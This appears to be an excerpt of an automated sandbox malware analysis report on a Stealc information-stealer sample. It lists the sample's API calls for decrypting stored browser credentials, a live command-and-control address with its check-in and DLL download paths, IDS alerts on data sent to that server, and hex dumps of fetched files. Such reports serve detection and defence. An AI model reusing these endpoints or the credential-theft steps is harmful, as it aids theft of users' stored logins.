Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B1D2C1
lstrlen.KERNEL32(00000000), ref: 00B1D4D8
lstrlen.KERNEL32(00000000), ref: 00B1D4EC
DeleteFileA.KERNEL32(00000000), ref: 00B1D56B

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8808e580c31ca1d815800a32d846dd29c7bd95c62a74016d521fad65732df675
Instruction ID: bc8f65f5f30c155bb3ae7791516edd4882bbd994fcb79897677c73ff4c6ba6a9
Opcode Fuzzy Hash: 8808e580c31ca1d815800a32d846dd29c7bd95c62a74016d521fad65732df675
Instruction Fuzzy Hash: 2F9133728101289BCB04FBA4EC96DEE73B8AF54301F5045A9F51BB2191EF746B58CB72

Function 00B23070 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c6de9c1e073190ec009434f108b9c8946eb7c4bc500e5024e8a2cdcb6021b424
Instruction ID: ef12f63675e4105018ffd9fee4b0b5b696880cf6cfbc05fdf2912e8dd3ed6734
Opcode Fuzzy Hash: c6de9c1e073190ec009434f108b9c8946eb7c4bc500e5024e8a2cdcb6021b424
Instruction Fuzzy Hash: 63419271D10219DBCB04EFA4EC95AEEB7F4EF44705F008058E51977290EB74AA15CFA1

Function 00B27420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B30DD0,00000000,?), ref: 00B27450
RtlAllocateHeap.NTDLL(00000000), ref: 00B27457
GetLocalTime.KERNEL32(?,?,?,?,?,00B30DD0,00000000,?), ref: 00B27464
wsprintfA.USER32 ref: 00B27493

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 8b13ffb3813c85795640ee44c681b0c6c4b7d2ff0d7b45c8ab32b3a0c4a51f52
Instruction ID: 28fc990d6e46d1159effbd5ea8e4c5562b86bc0fd4c10dfc176588781e7f1b08
Opcode Fuzzy Hash: 8b13ffb3813c85795640ee44c681b0c6c4b7d2ff0d7b45c8ab32b3a0c4a51f52
Instruction Fuzzy Hash: 4B112AB2904218ABCB14DBD9ED45BBEB7B9FB4CB11F10425AF605A2280D6795940CBB4

Function 00B28D80 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B235FE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B235FE,?), ref: 00B28D9C
GetFileSizeEx.KERNEL32(000000FF,00B235FE), ref: 00B28DB9
CloseHandle.KERNEL32(000000FF), ref: 00B28DC7

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: aaa92326ae838f0e3d56f5bb6738ddfbd0452a1ab54f40fa13f18bceeaa3f652
Instruction ID: b03d4449e48f275417cc95a5449542d1a939c0019fd4738b2fd9a12314fe97e5
Opcode Fuzzy Hash: aaa92326ae838f0e3d56f5bb6738ddfbd0452a1ab54f40fa13f18bceeaa3f652
Instruction Fuzzy Hash: 65F03C39E11308BBDB14DBB0EC49B9E77FAAB58740F1082A8F615E72C0EA7096058B50

Function 00B2C131 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B2C13D

Part of subcall function 00B2B95F: __amsg_exit.LIBCMT ref: 00B2B96F

__getptd.LIBCMT ref: 00B2C154
__amsg_exit.LIBCMT ref: 00B2C162
__updatetlocinfoEx_nolock.LIBCMT ref: 00B2C186

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: c8bbce37b14b615f3738a6328f9c6b6a46a599196361ced53881aecb98d93cc6
Instruction ID: 6669430a2fee2938b30bbd38893239352e94214e3d3857313258dde49e7cf048
Opcode Fuzzy Hash: c8bbce37b14b615f3738a6328f9c6b6a46a599196361ced53881aecb98d93cc6
Instruction Fuzzy Hash: 1EF06D329847309BD720BBA8B807B4E3BD0AF04722F2541C9E25CB62D3CF6458919B96

Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpn	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpBrowser	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dllR	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpwh	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpS	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dlles	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpFirefox	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllart	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php5	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dllj	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllocas	Avira URL Cloud: Label: malware
Source: 185.215.113.100/e2b1563c6670f193.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllta	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpz	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpy	Avira URL Cloud: Label: malware

Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpBrowser	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpn	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dllR	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100	Virustotal: Detection: 14%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php3	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpS	Virustotal: Detection: 8%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpFirefox	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dllj	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	Virustotal: Detection: 18%	Perma Link
Source: 185.215.113.100/e2b1563c6670f193.php	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php5	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpy	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpz	Virustotal: Detection: 14%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B19BB0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00B19BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B28940 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00B28940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B17280 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00B17280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B19B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00B19B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1C660 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00B1C660

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.100:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:04 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:10 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 